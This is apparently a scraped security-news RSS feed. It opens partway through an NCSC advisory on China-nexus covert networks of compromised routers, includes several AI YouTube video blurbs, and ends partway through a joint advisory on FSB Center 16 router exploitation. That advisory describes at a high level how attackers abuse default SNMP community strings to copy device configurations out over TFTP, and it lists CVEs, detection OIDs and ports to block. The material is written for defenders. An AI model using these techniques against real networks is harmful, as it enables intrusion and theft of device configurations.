      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[10 Secret Bard Tips And Tricks (How To Use Google Bard)(Google Bard Tutorial)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 486x - Views:35021 How To Use Google Bard)(Google Bard Tutorial)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your kno...]]></description>
<link>https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693376/videos/10-secret-bard-tips-and-tricks-how-to-use-google-bardgoogle-bard-tutorial/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:25 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 486x - Views:35021 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/HwUt9ZRziBE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>How To Use Google Bard)(Google Bard Tutorial)<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br />
<br />
All Bard Features <br />
- Bard Can Make Charts - https://www.reddit.com/r/GoogleBard/comments/123s0yt/wow_google_bard_can_make_a_chart_bing_ai_used_to/<br />
- Bard makes very big mistakes https://twitter.com/0xgaut/status/1638287359098716160 <br />
- Bard Cannot Help With Coding - https://twitter.com/iamnafets/status/1638232186649477120/photo/1 <br />
- Bard Actually has access to recent events <br />
- Bard Cant Access Articles (Sometimes<br />
- Bard Can Rewrite content<br />
- Rewording Questions Helps https://www.reddit.com/r/GoogleBard/comments/11xoaw7/bard_can_actually_answer_code_questions_it_just/<br />
- Bard Can write stories<br />
- Bard is a confusing mix between ChatGPT + Bing<br />
- Bard does have shorter answers<br />
- Bard is quicker<br />
<br />
Was there anything we missed?<br />
<br />
(For Business Enquiries)  contact@theaigrid.com<br />
<br />
#LLM #Largelanguagemodel #chatgpt<br />
#AI<br />
#ArtificialIntelligence<br />
#MachineLearning<br />
#DeepLearning<br />
#NeuralNetworks<br />
#Robotics<br />
#DataScience<br />
#IntelligentSystems<br />
#Automation<br />
#TechInnovation<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft's VISUALChatGPT Takes the Industry By STORM! (NOW UNVEILED!)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 2436x - Views:330281 Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learnin...]]></description>
<link>https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693374/videos/microsofts-visualchatgpt-takes-the-industry-by-storm-now-unveiled/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:22 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 2436x - Views:330281 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/7hztoCMVo0U?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Microsoft Visual ChatGPT - https://github.com/microsoft/visual-chatgpt<br />
Microsoft Visual ChatGPT - https://huggingface.co/spaces/microsoft/visual_chatgpt<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br />
<br />
Was there anything we missed?<br />
<br />
(For Business Enquiries)  contact@theaigrid.com<br />
<br />
#LLM #Largelanguagemodel #chatgpt<br />
#AI<br />
#ArtificialIntelligence<br />
#MachineLearning<br />
#DeepLearning<br />
#NeuralNetworks<br />
#Robotics<br />
#DataScience<br />
#IntelligentSystems<br />
#Automation<br />
#TechInnovation<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get Ready for 15 SHOCKING Changes After the Singularity (AGI IS NEAR!)]]></title>
<description><![CDATA[Author: TheAIGRID - Bewertung: 2476x - Views:151461 15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)

Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and pe...]]></description>
<link>https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693373/videos/get-ready-for-15-shocking-changes-after-the-singularity-agi-is-near/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:21 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: TheAIGRID - Bewertung: 2476x - Views:151461 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/F95s2bLMNIY?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>15 Jaw-Dropping Consequences of the Singularity (AGI IS CLOSER THAN YOU THINK!)<br />
<br />
Welcome to our channel where we bring you the latest breakthroughs in AI. From deep learning to robotics, we cover it all. Our videos offer valuable insights and perspectives that will expand your knowledge and understanding of this rapidly evolving field. Be sure to subscribe and stay updated on our latest videos.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]></title>
<description><![CDATA[Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compr...]]></description>
<link>https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 08:51:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors</p>
<h2><strong>Executive summary</strong></h2>
<p>Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure</a> Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [<a href="https://www.cisa.gov/#Work1">1</a>] </p>
<p>This CSA is being released by the following authoring and co-sealing agencies: </p>
<ul type="square">
<li>United States National Security Agency (NSA)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#Foot1"><sup>1</sup></a> </li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#Foot2"><sup>2 </sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#Foot3"><sup>3</sup></a> </li>
<li>Estonian Information System Authority (RIA)<a href="https://www.cisa.gov/#Foot4"><sup>4</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#Foot5"><sup>5</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#Foot6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#Foot7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#Foot8"><sup>8 </sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#Foot9"><sup>9</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#Foot10"><sup>10 </sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#Foot11"><sup>11 </sup></a></li>
</ul>
<p>The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%201%20FSB%20Center%2016%20activity%20and%20recommended%20mitigation%20actions.png?itok=oYxdyna4" width="1024" height="576" alt="Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.">



</div>
      <figcaption class="c-figure__caption">Figure 1: FSB Center 16 activity and recommended mitigation actions</figcaption>
  </figure>
<p>Download the PDF version of this report:</p>
<ul>
<li><a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/0/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank">Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting</a> (PDF, 816KB)</li>
</ul>
<h2><strong>Cybersecurity industry tracking </strong></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: </p>
<ul type="disc">
<li>Berserk Bear </li>
<li>Energetic Bear</li>
<li>Crouching Yeti </li>
<li>Dragonfly</li>
<li>Ghost Blizzard</li>
<li>Static Tundra</li>
</ul>
<p>Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.</p>
<h2><strong>Targeting details</strong></h2>
<p>Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:</p>
<ul type="disc">
<li>Communications,</li>
<li>Defense Industrial Base,</li>
<li>Energy,</li>
<li>Financial Services,</li>
<li>Government Services and Facilities, especially organizations at the state and local level, and</li>
<li>Healthcare and Public Health.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note: </strong>This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a><a href="https://www.cisa.gov/#Foot12"><sup>12</sup></a> framework, version 19. See <a href="https://www.cisa.gov/#AppA"><strong>Appendix A</strong></a> for tables of the activity mapped to MITRE ATT&amp;CK tactics and techniques. This advisory also uses MITRE DEFEND<sup>TM</sup> version 1.4.0.</p>
<p>The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a>]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a>] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [<a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>]:</p>
<ul type="disc">
<li>Copy its configuration to a file, often called “config.bkp” or “output.txt” [<a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a>].</li>
<li>Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a>].</li>
</ul>
<p>While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [<a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a>]: </p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2018-0171" target="_blank">CVE-2018-0171</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a><a href="https://www.cisa.gov/#Foot13"><sup>13</sup></a></li>
</ul>
<p>Many of these TTPs overlap with activity by other malicious cyber actors, such as <a href="https://media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF" target="_blank">Salt Typhoon</a>. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.</p>
<h2><strong>Mitigation actions</strong></h2>
<p>The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:</p>
<ul>
<li>Disable Cisco Smart Install on all devices [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work2">2</a>]</li>
<li>Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work3">3</a>]
<ul>
<li>Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.</li>
<li>SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [<a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a>, <a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a>].</li>
</ul>
</li>
<li>Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>].
<ul>
<li>Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [<a href="https://www.cisa.gov/#Work4">4</a>]</li>
<li>Monitor for unusual credentials that do not conform to standard organizational naming conventions [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>]. </li>
<li> Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
</ul>
</li>
<li>Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work5">5</a>] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>].<br>
<ul type="square">
<li>Example OIDs include:
<ul>
<li>1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)</li>
<li>1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) </li>
</ul>
</li>
</ul>
</li>
<li>Restrict management protocols [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a>].
<ul>
<li>Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
<li>On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
<ul>
<li>User Datagram Protocol (UDP) port 69 (TFTP) </li>
<li>Transmission Control Protocol (TCP) port 4786 (SMI)</li>
